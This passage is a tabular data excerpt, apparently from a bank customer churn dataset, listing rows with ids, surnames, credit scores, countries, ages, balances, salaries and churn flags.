+7520,15814116,Castiglione,583,France,Female,42,7,0,2,1,0,144039.05,0 +7521,15665087,Bergamaschi,595,Germany,Female,26,8,118547.72,1,1,1,151192.18,0 +7522,15611189,Allingham,670,Spain,Male,43,1,97792.21,1,0,0,120225.62,0 +7523,15729718,Stelzer,610,France,Male,41,6,0,3,0,0,56118.81,1 +7524,15733602,Rubin,814,Spain,Female,72,2,0,2,0,1,130853.03,0 +7525,15620103,Ho,660,France,Female,40,8,167181.01,1,1,1,185156.94,0 +7526,15770406,Watson,580,Germany,Male,35,9,121355.19,1,0,1,35671.45,0 +7527,15800554,Perry,850,France,Female,81,1,0,2,1,1,59568.24,0 +7528,15611409,Sun,676,Spain,Male,35,0,0,2,0,0,139911.58,0 +7529,15646535,Harrell,578,France,Male,46,5,113226.47,1,1,0,56770.76,0 +7530,15575430,Robson,579,France,Female,33,1,118392.75,1,1,1,157564.75,0 +7531,15711299,Wilson,711,Germany,Female,52,8,145262.54,1,0,1,131473.31,0 +7532,15642063,Kelechi,692,France,Male,40,6,163505.16,1,0,0,90424.09,0 +7533,15706602,Bates,760,Spain,Female,33,1,118114.28,2,0,1,156660.21,0 +7534,15592773,Eberegbulam,630,Germany,Female,51,0,108449.23,3,0,0,88372.69,1 +7535,15786539,Olisaemeka,808,France,Male,32,1,0,2,1,1,46200.71,0 +7536,15737542,Davey,611,Germany,Female,36,10,103294.56,1,1,0,160548.12,0 +7537,15590234,De Luca,697,France,Female,42,1,0,1,1,0,1262.83,1 +7538,15773776,Ho,655,France,Female,38,6,0,1,1,1,188639.28,0 +7539,15728082,Vasiliev,601,Spain,Male,28,6,0,2,1,0,14665.28,0 +7540,15609987,Smith,755,France,Male,42,2,119919.12,1,1,0,156868.21,0 +7541,15735330,Sung,553,France,Male,37,1,0,1,1,0,30461.55,0 +7542,15649430,White,723,France,Male,28,4,0,2,1,1,123885.88,0 +7543,15768777,Wang,507,Spain,Female,34,4,0,2,1,1,60688.38,0 +7544,15777893,Davide,777,France,Male,43,1,0,2,1,0,21785.91,0 +7545,15791326,Nnamdi,566,France,Male,34,3,0,1,0,0,188135.69,0 +7546,15615176,Welsh,732,France,Male,26,7,0,2,1,0,154364.66,0 +7547,15735221,Sousa,697,France,Female,42,10,0,2,1,0,61312.15,0 +7548,15617991,Andrews,555,France,Male,29,4,128744.04,1,1,1,47454.93,0 +7549,15658504,Chiawuotu,584,Germany,Female,62,9,137727.34,2,0,1,121102.9,0 +7550,15785705,Thomson,705,Germany,Female,44,10,106731.58,1,1,0,137419.87,1 +7551,15801817,Carpenter,688,France,Female,38,7,123544.21,1,1,1,157664.02,0 +7552,15752578,Yefimova,626,France,Female,37,2,133968.96,2,1,0,148689.65,0 +7553,15781574,Ma,636,Spain,Male,76,9,126534.6,1,1,1,39789.62,0 +7554,15792107,Black,719,Spain,Female,35,8,0,1,1,1,165162.4,0 +7555,15569917,Obijiaku,706,Spain,Male,30,6,87609.68,2,0,0,137674.55,1 +7556,15721504,King,731,Spain,Male,41,3,0,2,1,0,101371.72,0 +7557,15757306,Miller,738,Spain,Male,49,3,0,3,1,1,65066.48,1 +7558,15647295,Chin,426,France,Male,34,9,0,2,1,0,107876.91,0 +7559,15642098,Cox,622,Spain,Female,36,0,108960,2,1,0,111180.3,1 +7560,15696120,Wallace,701,Spain,Female,30,2,0,2,1,0,115650.63,0 +7561,15675176,Price,512,France,Male,51,6,144953.31,1,1,1,165035.17,0 +7562,15700046,Yuan,635,France,Male,41,4,103544.88,2,1,0,193746.55,0 +7563,15782089,Mullen,685,France,Male,33,6,0,1,1,0,58458.26,0 +7564,15706394,Howell,609,France,Male,53,7,0,2,0,1,52332.85,0 +7565,15759387,McIntosh,598,Germany,Male,38,1,101487.18,1,1,1,75959.1,1 +7566,15623369,Clifton,708,France,Male,52,10,105355.81,1,1,0,123.07,1 +7567,15732943,Okwuoma,574,Spain,Male,36,4,77967.5,1,1,0,167066.95,1 +7568,15750545,Chidiebere,629,France,Male,44,5,0,4,0,0,117572.59,1 +7569,15809909,Fan,422,Spain,Female,54,4,0,2,1,1,7166.71,0 +7570,15642448,Onyemauchechukwu,656,Spain,Male,28,8,120047.77,1,1,1,137173.39,0 +7571,15791944,Harker,697,France,Male,32,7,175464.85,3,1,0,116442.42,1 +7572,15768342,Bolton,718,France,Male,52,8,79475.3,3,1,1,32421.32,1 +7573,15567919,Lazarev,586,Germany,Male,37,8,167735.69,2,0,1,104665.79,0 +7574,15674750,Alexeyeva,481,Spain,Female,37,8,0,2,1,0,44215.86,0 +7575,15778345,Stevens,749,France,Female,33,1,74385.98,1,1,0,20164.47,0 +7576,15687634,Glover,561,Germany,Male,49,5,94754,1,1,1,26691.31,0 +7577,15666096,Ibekwe,676,Spain,Male,27,4,0,1,0,1,107955.67,0 +7578,15581700,Paterson,615,Germany,Male,43,3,86920.86,1,1,1,150048.37,0 +7579,15656417,Marsh,582,France,Female,39,1,132077.48,2,1,0,192255.15,0 +7580,15649101,Reeves,601,France,Male,40,10,127847.86,1,0,0,173245.68,0 +7581,15781975,Rees,708,France,Male,34,3,0,1,0,1,121457.88,1 +7582,15700511,Hanson,708,Germany,Male,42,9,176702.36,2,1,1,104804.74,0 +7583,15770255,Onwughara,797,Germany,Female,33,10,83555.58,1,0,0,69767.14,0 +7584,15643574,Odinakachukwu,682,France,Male,26,8,0,2,1,0,178373.43,0 +7585,15595010,Huang,694,Spain,Female,39,9,0,2,0,0,99924.04,0 +7586,15580579,Trevisani,490,France,Female,40,1,0,1,1,1,49594.19,1 +7587,15748532,Dale,828,Spain,Male,42,10,0,1,1,1,186071.14,0 +7588,15773789,Pavlova,594,Spain,Female,38,7,96858.35,1,1,0,77511.45,0 +7589,15600027,Meng,579,Spain,Male,33,1,0,2,1,1,54816.57,0 +7590,15620832,Dean,723,France,Female,35,0,0,2,0,1,61290.99,0 +7591,15568819,Chiganu,619,Germany,Female,42,8,132796.04,3,1,1,191821.35,1 +7592,15748691,Lung,794,Spain,Female,30,1,154970.54,1,0,1,156768.45,0 +7593,15583552,Donaldson,674,Germany,Male,44,3,88902.21,1,1,0,73731.32,0 +7594,15588019,Li Fonti,418,France,Male,28,7,98738.92,1,1,0,122190.22,0 +7595,15713250,Izmailova,502,France,Male,33,8,0,2,1,1,123509.01,0 +7596,15569595,Walker,678,France,Female,50,6,0,1,1,0,8199.5,0 +7597,15794868,Nnonso,599,Germany,Male,40,10,137456.28,2,1,1,14113.11,0 +7598,15576680,Stevenson,736,France,Male,29,4,0,2,0,0,51705.01,0 +7599,15613699,Schnaars,430,France,Female,60,7,73937.02,1,1,0,161937.62,1 +7600,15609758,Geoghegan,537,France,Female,45,7,158621.04,1,1,0,120892.96,1 +7601,15762392,Ilyina,683,Spain,Male,30,1,113257.2,1,1,1,65035.02,0 +7602,15693382,Muir,828,France,Male,31,9,0,1,0,1,164257.37,0 +7603,15791769,Gardener,691,France,Female,29,9,116536.43,1,1,0,51987.99,0 +7604,15712483,Chidi,608,Spain,Female,28,4,0,2,1,0,10899.63,1 +7605,15636454,Fu,691,France,Female,60,6,101070.69,1,1,0,177355.8,1 +7606,15710138,Sun,718,Spain,Male,39,6,0,2,0,1,63889.1,0 +7607,15571571,Ting,680,Germany,Female,31,3,127331.46,3,1,1,176433.6,0 +7608,15638751,Ashton,838,Spain,Female,41,5,0,2,1,0,81313.51,0 +7609,15598574,Uwakwe,695,Spain,Female,31,5,0,2,0,1,13998.88,0 +7610,15796787,Vassiliev,681,France,Male,46,0,105969.42,1,1,0,5771.56,0 +7611,15615670,Kazakova,762,France,Male,36,5,119547.46,1,1,1,42693.65,0 +7612,15705506,Perry,751,Spain,Male,38,7,0,2,0,0,90839.61,0 +7613,15599535,Howell,678,Spain,Male,28,5,138668.18,1,1,1,54144.01,0 +7614,15768449,Ricci,634,France,Female,37,7,51582.5,2,1,1,184312.88,0 +7615,15725002,Smith,749,France,Male,37,7,0,2,1,0,20306.79,0 +7616,15611682,Rossi,590,Spain,Male,37,6,169902.92,1,1,1,128256.18,0 +7617,15749964,Jones,610,France,Female,27,4,87262.4,2,1,0,182720.07,0 +7618,15678779,Quezada,502,France,Male,33,7,0,2,0,1,4082.52,0 +7619,15752601,McCulloch,578,France,Female,40,7,0,2,0,0,102233.73,0 +7620,15758477,Tobeolisa,547,France,Female,32,2,0,2,1,0,132002.83,0 +7621,15629133,Black,579,France,Female,27,9,0,2,1,0,126838.7,0 +7622,15604963,Fraser,661,France,Male,39,5,0,2,0,0,181461.46,0 +7623,15796413,Green,794,France,Male,46,6,0,2,1,0,195325.74,0 +7624,15812470,Allan,719,France,Male,61,5,0,2,0,1,29132.43,0 +7625,15587443,Akudinobi,728,France,Female,69,1,0,2,1,1,131804.86,0 +7626,15689692,Walker,598,Germany,Male,19,3,150348.37,1,1,1,173784.04,0 +7627,15779586,Olisaemeka,822,Germany,Female,46,3,115074.02,2,1,0,26249.86,0 +7628,15667588,Arcuri,670,Spain,Female,40,3,0,1,1,1,182650.15,0 +7629,15624423,Liu,850,France,Male,28,8,99986.98,1,1,0,196582.55,0 +7630,15591107,Flemming,723,Germany,Female,68,3,110357,1,0,0,141977.54,1 +7631,15748986,Bischof,705,Germany,Male,42,8,166685.92,2,1,1,55313.51,0 +7632,15793896,John,677,Spain,Male,40,7,95312.8,1,1,1,62944.75,0 +7633,15620570,Sinnett,736,France,Male,43,4,202443.47,1,1,0,72375.03,0 +7634,15727811,Ts'ui,661,Germany,Female,47,0,109493.62,1,0,0,188324.01,1 +7635,15707681,Pokrovsky,501,Germany,Male,38,9,88977.39,2,0,1,133403.07,0 +7636,15702030,Azarov,516,France,Female,29,2,104982.57,1,1,0,157378.5,0 +7637,15673238,McCarthy,517,Germany,Female,59,8,154110.99,2,1,0,101240.08,1 +7638,15604196,Simpson,766,France,Male,32,6,185714.28,1,1,1,102502.5,0 +7639,15769356,Stevenson,520,Germany,Female,23,3,116022.53,2,1,1,37577.66,0 +7640,15665590,Moore,541,France,Male,46,6,0,2,1,1,83456.67,0 +7641,15572361,Chill,790,Germany,Female,34,2,164011.48,1,1,0,199420.41,0 +7642,15667460,Moore,797,France,Male,31,9,0,2,1,1,24748.89,0 +7643,15654760,Su,811,France,Male,40,1,101514.89,1,1,1,121765,0 +7644,15632669,Rees,722,Spain,Female,32,4,0,2,1,1,113666.48,0 +7645,15613673,Lung,675,France,Male,28,9,0,1,1,0,134110.93,0 +7646,15698522,Thomas,660,Germany,Male,39,9,134599.33,2,1,0,183095.87,0 +7647,15741633,Fuller,566,Spain,Male,32,10,147511.26,1,1,1,159891.03,0 +7648,15674583,Trevisani,768,France,Male,25,0,78396.08,1,1,1,8316.19,0 +7649,15665374,Dumolo,610,Spain,Female,31,5,0,2,0,0,63736.36,0 +7650,15588854,Wu,715,France,Female,31,3,110581.29,1,1,1,94715.24,0 +7651,15810716,Kerr,750,Germany,Male,42,8,151836.36,2,1,0,68695.38,0 +7652,15776921,Geoghegan,431,Germany,Male,45,5,83624.55,2,0,0,36899.62,0 +7653,15569394,Bailey,704,France,Male,24,2,148197.15,2,1,0,182775.08,0 +7654,15788215,Hsia,535,Spain,Female,30,5,122924.75,1,0,0,62390.59,1 +7655,15641007,Holden,614,France,Female,38,4,72594,1,1,1,76042.48,0 +7656,15594651,Milani,748,France,Male,38,4,115221.36,1,0,1,70956.75,0 +7657,15575146,Jamieson,492,Germany,Male,51,8,117808.74,2,1,1,67311.12,0 +7658,15608916,Ndubueze,573,France,Male,40,7,147754.68,1,1,1,110454.46,0 +7659,15666297,Abramova,706,Spain,Female,53,3,0,3,0,0,88479.02,1 +7660,15598586,Wetherspoon,680,France,Male,31,10,113292.17,1,1,1,122639.73,0 +7661,15665014,Middleton,458,Spain,Male,36,5,0,2,1,0,79723.78,0 +7662,15701738,Arcuri,612,Germany,Male,44,2,115163.38,1,1,1,97677.52,1 +7663,15650591,Calabrese,809,Germany,Male,50,10,118098.62,1,1,1,100720.02,1 +7664,15652667,Hampton,590,France,Male,39,9,0,2,1,1,104730.52,0 +7665,15679622,Clayton,602,France,Male,35,8,0,1,1,1,22499.29,0 +7666,15730150,Otutodilichukwu,540,Spain,Male,37,0,120825.7,1,1,0,28257.89,0 +7667,15813192,Chukwuemeka,494,France,Male,25,6,0,2,0,1,109988.09,0 +7668,15606554,Douglas,797,France,Male,29,1,0,1,0,1,149991.32,0 +7669,15611794,Galloway,526,Germany,Male,61,6,133845.28,2,1,1,45180.8,0 +7670,15672357,Sochima,631,Spain,Male,38,7,0,2,1,0,181605.85,0 +7671,15711759,Wilkins,576,France,Female,29,5,108541.04,1,1,1,126469.09,0 +7672,15615296,Rice,405,France,Male,39,10,0,1,1,0,160810.85,1 +7673,15699294,Pope,555,France,Male,30,1,0,2,0,0,88146.86,0 +7674,15788634,Romani,750,Spain,Female,37,2,113817.06,1,0,0,88333.74,0 +7675,15660871,Ch'ang,665,France,Male,28,8,137300.23,1,1,0,90174.83,0 +7676,15618258,Chizuoke,640,Spain,Male,37,5,158024.38,1,1,0,81298.09,0 +7677,15722535,Ireland,457,France,Female,33,7,127837.54,1,0,1,60013.17,0 +7678,15711977,Finch,695,France,Male,36,4,161533,1,1,0,100940.91,0 +7679,15690169,Meng,645,France,Male,31,7,161171.7,2,1,0,12599.94,1 +7680,15790689,Hibbins,647,Spain,Male,32,9,80958.36,1,1,1,128590.73,0 +7681,15665181,Chung,808,Spain,Male,25,7,0,2,0,1,23180.37,0 +7682,15633608,Black,641,France,Male,33,2,146193.6,2,1,1,55796.83,1 +7683,15805261,Balashov,700,Spain,Male,29,8,0,2,0,1,152097.02,0 +7684,15740356,Palmer,660,Germany,Male,26,4,115021.76,1,0,1,162443.05,0 +7685,15808223,Lea,615,Spain,Male,41,1,126773.43,1,1,1,55551.26,0 +7686,15769980,Singleton,705,Germany,Female,40,3,92889.91,1,1,1,109496.69,0 +7687,15675450,Burt,718,France,Male,48,9,0,2,1,1,72105.63,0 +7688,15776494,Siciliano,754,France,Male,61,5,146622.35,1,1,1,41815.22,1 +7689,15592412,Sun,713,Germany,Male,45,4,131038.14,1,1,0,74005.04,1 +7690,15777452,Sauve,587,France,Female,46,6,88820.29,1,0,0,70224.34,0 +7691,15692258,Thompson,569,Spain,Male,31,1,115406.97,1,0,0,145528.22,0 +7692,15791045,Boni,568,France,Female,38,3,132951.92,1,0,1,124486.28,0 +7693,15807889,Wood,634,Germany,Male,74,5,108891.7,1,1,0,10078.02,0 +7694,15602043,Buccho,770,Germany,Female,46,5,141788.63,2,0,0,164967.21,0 +7695,15807335,Spencer,676,Spain,Female,64,4,116954.32,1,1,1,91149.48,0 +7696,15629985,Eidson,723,Germany,Female,47,10,90450,2,0,0,103379.31,1 +7697,15679453,Hung,614,Germany,Female,39,8,125997.22,1,1,1,128049.34,1 +7698,15637315,Melvin,601,Spain,Female,41,3,0,2,1,0,54342.83,0 +7699,15691513,Dawkins,592,France,Male,60,9,0,4,1,1,13614.01,1 +7700,15622289,Rizzo,605,Spain,Female,36,9,0,2,0,1,35521.63,0 +7701,15715184,Capon,752,Spain,Female,31,4,144637.86,2,1,0,40496.72,0 +7702,15702801,Ts'ao,677,France,Female,29,3,86616.35,1,0,0,91903.9,1 +7703,15719931,Johnstone,850,France,Male,31,8,0,2,1,0,178667.7,0 +7704,15806081,Fleming,608,Germany,Female,48,2,127924.25,2,1,0,32202.61,0 +7705,15796336,Chang,786,Spain,Female,34,9,0,2,1,0,117034.32,0 +7706,15647306,Gibbs,777,France,Female,29,9,131240.61,1,1,1,163746.09,1 +7707,15742369,Rita,667,Spain,Male,31,5,0,2,1,1,20346.69,0 +7708,15655859,Munro,848,Spain,Male,35,5,120046.74,2,1,0,84710.65,0 +7709,15675650,Duncan,486,France,Female,39,8,97819.36,1,0,1,120531.31,0 +7710,15574119,Okwuadigbo,598,Spain,Female,64,1,62979.93,1,1,1,152273.57,0 +7711,15754168,McIntosh,506,France,Female,40,3,0,1,1,1,144345.58,0 +7712,15763029,Ch'iu,612,Germany,Male,46,9,161450.03,1,1,1,96961,1 +7713,15765048,Watt,545,France,Male,30,3,0,2,1,0,170307.43,0 +7714,15786215,Udinese,793,France,Male,56,8,119496.25,2,1,0,29880.99,0 +7715,15707559,Clark,682,France,Female,30,9,0,2,1,1,195104.91,0 +7716,15582129,Hsia,517,France,Male,62,1,43772.66,3,1,0,187756.24,1 +7717,15687540,Obiuto,684,France,Male,32,9,100249.41,2,0,1,67599.69,0 +7718,15787196,T'ien,692,Spain,Male,46,2,0,2,1,1,105983.09,0 +7719,15670898,McKenzie,740,France,Female,60,5,108028.08,2,0,0,25980.42,1 +7720,15775433,Tang,666,Germany,Male,71,1,53013.29,2,1,1,112222.64,0 +7721,15700693,Tu,693,France,Male,68,2,0,2,1,1,59864.96,0 +7722,15677955,Tsui,757,Germany,Male,33,1,122088.67,1,1,0,42581.09,0 +7723,15570086,Lynch,684,Germany,Male,18,9,90544,1,0,1,4777.23,0 +7724,15794875,Hung,691,Spain,Male,35,6,0,2,0,1,178038.17,0 +7725,15673591,Oluchukwu,842,France,Male,44,3,141252.18,4,0,1,128521.16,1 +7726,15631756,Tuan,482,France,Female,35,5,147813.05,2,0,0,109029.72,0 +7727,15757617,Lewis,735,France,Male,55,6,134140.68,1,1,0,2267.88,0 +7728,15612729,Chidiebere,681,France,Female,63,7,0,2,1,1,55054.48,0 +7729,15637857,Woolacott,616,France,Female,31,8,0,1,0,1,76456.17,0 +7730,15681007,Yen,850,France,Female,35,2,128548.49,4,1,0,75478.95,1 +7731,15593622,Service,635,France,Male,43,10,122198.21,2,0,1,179144.54,0 +7732,15629273,Lin,638,Germany,Male,42,8,145177.84,1,1,0,193471.74,1 +7733,15765846,Chuang,820,Spain,Female,31,2,94222.53,1,1,0,103570.8,0 +7734,15596013,Akhtar,694,Germany,Female,58,1,143212.22,1,0,0,102628.56,1 +7735,15722473,Faulkner,713,France,Male,41,3,0,2,1,0,55772.04,0 +7736,15774936,Liang,543,Germany,Male,41,6,143350.41,1,1,1,192070.16,1 +7737,15685640,Dancy,649,France,Female,41,3,130931.83,1,1,1,144808.37,0 +7738,15566563,Duigan,777,France,Female,30,4,137851.31,1,1,0,5008.23,1 +7739,15768746,McLean,561,France,Male,33,6,0,2,0,0,173680.39,0 +7740,15689952,Zuyeva,724,Spain,Male,41,5,0,1,0,1,115753.94,0 +7741,15725906,Hankinson,665,Spain,Female,51,8,0,1,1,1,38928.48,1 +7742,15634501,Wei,441,France,Male,60,1,140614.15,1,0,1,174381.23,0 +7743,15571940,Afamefula,579,Spain,Male,22,3,118680.57,1,1,1,49829.8,0 +7744,15741643,Chiang,777,Germany,Male,35,7,122917.69,1,1,1,76169.68,0 +7745,15806822,Myers,739,France,Female,36,0,0,2,0,0,133465.57,0 +7746,15701166,Chinedum,660,France,Male,40,5,131754.11,2,1,1,38761.61,0 +7747,15718531,Ukaegbunam,554,France,Female,35,8,0,2,1,1,176779.46,0 +7748,15628308,Akubundu,850,France,Female,24,6,0,2,1,1,13159.9,0 +7749,15585287,Sal,842,Germany,Female,35,9,119948.09,1,1,0,48217.97,1 +7750,15781619,Stevenson,785,France,Female,38,1,0,1,1,0,134964.85,1 +7751,15805162,Sutherland,550,France,Male,25,0,0,2,1,1,184221.11,0 +7752,15588535,Ts'ao,750,Spain,Female,39,6,0,2,0,0,19264.33,0 +7753,15775307,Sung,490,Spain,Female,38,3,97266.1,1,1,1,92797.23,0 +7754,15777616,Pisani,605,Germany,Male,28,10,113690.83,1,1,0,33114.24,0 +7755,15692291,Hs?eh,563,Spain,Female,42,6,99056.22,2,1,0,154347.95,1 +7756,15680843,Sherrod,675,France,Male,34,8,0,2,1,1,184842.21,0 +7757,15606232,Holloway,621,Spain,Female,36,7,116338.68,1,1,1,155743.48,0 +7758,15641585,Newton,850,France,Male,40,6,97339.99,1,0,1,88815.25,0 +7759,15684358,Kang,711,France,Male,41,3,0,2,1,1,193747.57,0 +7760,15806389,Walton,549,Germany,Female,55,1,137592.31,2,0,1,116548.02,1 +7761,15641860,Bradley,764,Germany,Male,34,6,108760.27,2,1,0,166324.79,1 +7762,15814237,Watkins,627,Germany,Male,30,3,128770.88,2,1,1,40199.01,0 +7763,15808780,Tien,850,France,Female,34,2,0,2,0,0,51919.04,0 +7764,15767064,Davide,614,Spain,Female,36,1,44054.84,1,1,1,73329.08,0 +7765,15751177,Milne,685,Germany,Female,44,2,119657.53,1,1,0,145387.05,1 +7766,15613427,Barling,683,Germany,Female,49,7,108797.63,2,0,0,140763.18,0 +7767,15647259,Barnett,643,Spain,Male,35,2,0,2,0,0,67979.35,0 +7768,15748660,Ellis,561,Germany,Female,49,1,102025.32,1,1,0,133051.64,1 +7769,15726695,Hsia,601,Spain,Female,20,9,122446.61,2,1,0,86791.9,0 +7770,15757473,Chukwujamuike,766,France,Female,27,7,158786.67,2,0,1,47579.25,0 +7771,15809509,Venables,699,France,Male,29,3,125689.29,1,1,1,151623.71,0 +7772,15715512,Hsia,850,Germany,Male,29,1,154640.41,1,1,1,164039.51,0 +7773,15614168,Alexander,792,Germany,Female,50,4,146710.76,1,1,0,16528.4,1 +7774,15679818,Yuan,636,Germany,Male,67,7,136709.35,1,0,1,66753.1,1 +7775,15609928,Johnston,850,Germany,Male,43,5,129305.09,2,0,1,19244.58,0 +7776,15731246,Hobler,628,Spain,Male,40,10,0,2,1,0,103832.58,0 +7777,15685243,Jamieson,736,France,Female,63,10,0,2,0,1,502.7,0 +7778,15638730,Macleod,711,France,Female,21,0,82844.33,2,0,1,1408.68,0 +7779,15697034,Norris,583,Spain,Female,22,2,0,2,0,1,5985.36,0 +7780,15699225,Pirozzi,757,France,Male,46,0,0,2,1,0,37460.05,0 +7781,15677387,Folliero,749,Germany,Female,33,10,76692.22,1,0,1,30396.43,0 +7782,15759184,Russell,705,France,Male,34,7,117715.84,1,1,0,2498.67,0 +7783,15595991,Hsiung,585,France,Male,54,8,87105.32,1,1,1,55346.14,0 +7784,15681332,Tate,437,France,Female,43,6,0,1,1,0,148330.97,1 +7785,15756299,Davis,741,France,Female,64,2,69311.16,1,1,1,59237.72,0 +7786,15750547,Bair,738,France,Male,26,9,0,2,1,1,48644.94,0 +7787,15566380,Drury,586,Spain,Female,33,10,66948.67,2,1,1,140759.03,0 +7788,15675963,Padovano,627,France,Female,57,9,0,2,1,1,107712.42,0 +7789,15674671,Conway,551,Spain,Male,76,2,128410.71,2,1,1,181718.73,0 +7790,15621466,Waters,606,Germany,Male,38,3,99897.53,1,0,0,37054.65,0 +7791,15607176,Kang,674,France,Male,22,3,0,1,1,1,173940.59,0 +7792,15570299,Martin,584,Germany,Female,31,6,152622.34,1,1,0,99298.8,0 +7793,15613197,Ugochukwutubelum,590,France,Male,40,8,0,2,1,0,62933.03,0 +7794,15798885,Burns,585,France,Male,56,4,138227.19,2,1,1,55287.84,0 +7795,15714883,Genovese,508,France,Female,25,2,111395.53,1,0,1,48197.06,0 +7796,15604497,Beale,458,Germany,Male,44,7,84386.57,1,1,0,178642.73,0 +7797,15773949,Cherkasova,692,France,Female,36,3,0,2,1,1,8282.22,0 +7798,15774164,Coles,502,Germany,Male,33,5,174673.65,2,1,0,33300.56,0 +7799,15774127,Potter,518,France,Male,46,3,0,2,1,0,76515.79,0 +7800,15619016,McMinn,660,Germany,Male,46,5,109019.65,2,1,1,33680.56,0 +7801,15795759,Bergamaschi,698,Germany,Female,52,1,107906.75,1,1,0,168886.39,1 +7802,15798844,Chijindum,678,France,Male,54,7,128914.97,1,0,0,191746.23,1 +7803,15717962,Ch'iu,773,Spain,Male,63,9,111179.83,1,1,1,93091.02,0 +7804,15691504,Yusupova,619,Germany,Female,52,8,124099.13,1,0,0,23904.52,0 +7805,15693893,Davis,684,Germany,Male,59,9,122471.09,1,0,1,15807.07,0 +7806,15672499,Iadanza,635,France,Male,34,3,134692.4,2,1,1,83773.02,0 +7807,15750410,Jordan,680,France,Female,25,4,123816.5,1,1,1,90162.35,0 +7808,15568904,Kruglova,608,Germany,Male,34,3,106288.54,1,1,1,36639.25,0 +7809,15649033,Echezonachukwu,603,Germany,Female,55,7,127723.25,2,1,0,139469.11,1 +7810,15780989,Hajek,579,Spain,Male,43,2,145843.82,1,1,1,198402.37,1 +7811,15771059,Welch,756,Germany,Female,34,2,148200.72,1,0,0,194584.48,0 +7812,15687852,Vinogradoff,611,France,Male,30,2,104145.65,1,0,0,159629.64,0 +7813,15695280,Hung,532,Germany,Male,24,8,142755.25,1,0,0,34231.48,0 +7814,15592751,Okwudiliolisa,684,Germany,Female,63,3,81245.79,1,1,0,69643.31,1 +7815,15598338,Mays,647,Germany,Female,33,3,168560.46,2,0,0,90270.16,0 +7816,15735784,Gardner,583,France,Male,38,8,0,1,1,0,47848.56,0 +7817,15629128,Mamelu,774,Germany,Male,42,2,132193.94,2,1,1,162865.52,0 +7818,15642870,Ross,677,France,Male,58,9,0,1,0,1,168650.4,0 +7819,15637977,Barese,542,Germany,Male,25,8,139330.1,1,0,0,54372.37,0 +7820,15600792,Swayne,613,Spain,Male,29,0,0,2,0,1,133897.32,0 +7821,15576131,Phillips,666,France,Male,40,5,0,2,1,0,147878.05,0 +7822,15686588,Manfrin,777,France,Female,28,2,134571.5,1,0,1,118313.38,0 +7823,15761018,Tan,581,Germany,Male,50,2,143829.2,2,1,0,181224.24,1 +7824,15616029,Adams,705,France,Male,32,7,0,2,1,0,7921.57,0 +7825,15761149,Teng,673,France,Female,44,8,133444.97,1,0,1,5708.19,0 +7826,15802758,Chinwendu,594,Germany,Female,23,4,104753.84,2,1,0,56756.52,1 +7827,15647838,Davison,648,Germany,Female,51,2,116574.84,1,1,0,4121.04,1 +7828,15735968,Hsing,605,France,Male,41,10,0,2,0,1,97213.09,0 +7829,15581286,Castro,734,France,Female,40,9,176914.8,1,1,1,12799.23,0 +7830,15625445,Parkin,572,France,Female,36,8,68348.18,2,0,1,50400.32,0 +7831,15600173,Manna,595,France,Female,33,9,0,2,1,1,41447.86,0 +7832,15635143,Fennescey,749,France,Male,42,2,56726.83,2,0,1,185543.35,0 +7833,15664849,Colon,573,Spain,Male,46,3,65269.23,1,0,1,189988.65,1 +7834,15762455,Yeh,624,Spain,Male,33,6,66220.17,1,0,1,170819.01,0 +7835,15797165,Bergamaschi,703,France,Male,56,9,0,1,0,0,85547.33,1 +7836,15788189,Matveyeva,665,France,Female,41,8,96147.55,1,1,0,137037.97,0 +7837,15780492,Ignatyeva,648,France,Male,42,4,0,2,1,0,19283.14,0 +7838,15678497,Lederer,850,Spain,Male,48,2,0,1,1,0,169425.3,1 +7839,15588560,Nwabugwu,569,Germany,Female,32,8,145330.43,1,1,1,132038.65,0 +7840,15606003,Abramowitz,566,France,Female,21,3,0,2,1,1,3626.47,0 +7841,15611756,Chapman,537,Germany,Female,47,4,124192.28,2,1,1,50881.51,0 +7842,15789563,Fiorentino,706,Germany,Female,46,7,111288.18,1,1,1,149170.25,1 +7843,15702416,Cecil,734,France,Male,43,7,107805.67,1,0,0,182505.68,0 +7844,15766288,Ikechukwu,586,Germany,Female,36,5,103700.69,1,1,0,194072.56,1 +7845,15667633,Allen,612,France,Female,38,1,0,2,1,1,9209.21,0 +7846,15622774,Kao,648,France,Male,34,0,0,1,1,1,167931.81,0 +7847,15755416,Hart,557,France,Female,27,3,87739.08,1,1,1,123096.56,0 +7848,15769915,Charlton,643,Spain,Female,20,0,133313.34,1,1,1,3965.69,0 +7849,15643908,Turnbull,433,France,Female,49,10,0,1,1,1,87711.61,0 +7850,15627395,Manners,643,Germany,Male,41,7,154902.66,1,1,1,49667.28,0 +7851,15679663,Chiazagomekpere,488,France,Female,36,0,0,2,1,0,136675.22,0 +7852,15651581,Lavrentyev,758,Germany,Male,68,6,112595.85,1,1,0,35865.44,1 +7853,15596379,Wallace,743,Germany,Male,39,3,119695.75,1,0,1,26136.13,0 +7854,15746674,Miller,730,France,Female,47,7,0,1,1,0,33373.26,1 +7855,15801256,Bazhenov,746,Spain,Male,49,7,0,2,0,1,10096.25,0 +7856,15663808,Ifesinachi,666,Germany,Female,59,8,152614.51,2,1,1,188782.3,0 +7857,15598521,Ma,580,Germany,Female,33,7,131647.01,2,0,0,79775.19,0 +7858,15621457,Chu,850,France,Male,27,6,96654.72,2,0,0,152740.16,0 +7859,15764726,Kerr,563,France,Male,22,3,137583.04,1,0,1,5791.85,0 +7860,15646374,Wynne,766,Germany,Female,28,3,62717.84,2,1,1,13182.43,0 +7861,15716501,Moon,659,France,Male,32,9,95377.13,1,0,1,187551.24,0 +7862,15589948,Disher,607,Spain,Male,28,1,135936.1,2,1,1,110560.14,0 +7863,15811343,Cattaneo,644,Germany,Male,35,5,161591.11,3,1,1,63795.62,0 +7864,15659677,Beluchi,746,France,Male,47,8,142382.03,1,1,1,62086.62,0 +7865,15594436,Mazzi,588,Spain,Male,33,2,0,2,1,1,12483.56,0 +7866,15748995,Ifeajuna,691,Spain,Male,30,9,0,2,0,1,10963.04,0 +7867,15677062,Howe,666,France,Female,38,6,127043.09,1,1,1,8247,0 +7868,15697201,Yocum,640,Spain,Female,46,3,0,1,1,1,156260.08,0 +7869,15666453,Moore,611,Germany,Female,29,4,78885.88,2,1,1,26927.69,0 +7870,15693771,Y?an,651,Spain,Female,45,8,95922.9,1,1,0,84782.42,1 +7871,15569867,Chinweuba,529,France,Female,29,8,0,2,1,0,19842.11,0 +7872,15711602,Lowrie,676,France,Female,36,3,91711.59,1,1,1,95393.43,0 +7873,15717736,Shen,639,Germany,Female,46,10,110031.09,2,1,1,133995.59,0 +7874,15750441,Lavarack,782,France,Male,36,5,81210.72,2,0,1,108003.38,0 +7875,15732791,Davide,641,Germany,Male,32,5,122947.92,1,1,1,99154.86,0 